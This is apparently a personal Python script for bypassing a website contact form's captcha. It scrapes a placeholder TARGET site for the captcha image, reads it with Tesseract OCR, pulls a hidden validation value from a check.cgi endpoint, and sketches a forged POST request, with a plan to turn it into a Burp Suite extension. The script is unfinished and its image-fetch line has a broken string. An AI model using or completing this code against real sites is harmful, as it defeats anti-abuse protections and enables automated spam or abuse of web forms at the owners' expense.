Captcha Bypass Using Tesseract OCR and Python

import cv2
import pytesseract
from urllib.request import urlopen
import numpy as np
from bs4 import BeautifulSoup
import requests
import urllib.parse
import re

#burninator August 2022

#captcha bypass: by hitting the validation check API directly PLUS using OCR AI library to read the captcha


#contact_check_page = requests.get('https://ip-lookup.net/')

#testRegexTheCode = '/RECAPTCHACODE/RECAPTCHA.png'
#x = re.findall("[0-9]+",testRegexTheCode)
#print(str(x[0]))

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'}


# STEP ONE - get the recaptcha image text value first, before the .cgi check (order matters!)

#thesoupson = open('TARGET/TARGET.htm', 'r')
thesoupofcontact = requests.get('TARGET/', headers=headers) #also tested and working
thesoupson = thesoupofcontact.text
#for line in thesoupson:
#    print (str(line))

soup = BeautifulSoup(thesoupson, "html.parser")
images = soup.findAll('img')
for image in images:
    if ('recaptcha.png' in image['src']):
        print(str('target captcha ' + image['src']))
        targetCaptcha = image['src']
        recaptchaCodeMatch = re.findall("[0-9]+",targetCaptcha)
        print(str(recaptchaCodeMatch[0]))
        fromRecaptchaUrl = recaptchaCodeMatch[0]

#thesoupson.close()

pytesseract.pytesseract.tesseract_cmd = r'C:\PROGRA~1\Tesseract-OCR\tesseract.exe' #set env vars here because... MEH!

# Loading image using OpenCV
req = urlopen('https://TARGET+targetCaptcha)
arr = np.asarray(bytearray(req.read()), dtype=np.uint8)

img = cv2.imdecode(arr, -1)

#cv2.imshow('lalala', img)
if cv2.waitKey() & 0xff == 27: quit()

#img = cv2.imread('recaptcha.png')

# Converting to text
answerToRecaptcha = pytesseract.image_to_string(img)

print(str("this is the captcha text TEEHEE!" ) + answerToRecaptcha)

#STEP TWO - get the CGI value - usually loaded from Javascript from the
#CGI request is tested and working, tho i just added that cgisouprequestvar:
cgisouprequest = requests.get('https://TARGET/check.cgi')
cgisoup = cgisouprequest.text
print(cgisoup)

#cgisoup = open('TARGET/contact_check.cgi', 'r')
soupses = BeautifulSoup(cgisoup, "html.parser")
inputs = soupses.findAll('input')
for input in inputs:
    print (str(input['value']))
    thevalue = str(input['value'])

#cgisoup.close()

encodeme = urllib.parse.quote(thevalue, safe="")


contactCheckValue = encodeme
print(str(contactCheckValue))

#STEP THREE - build out the POST request with the stuff with the two variables + that same randomized User-Agent string

# also consider building this into either a Burp extension or Turbo Intruder (most likely an extension since it allows calling python modules or other treats from the path)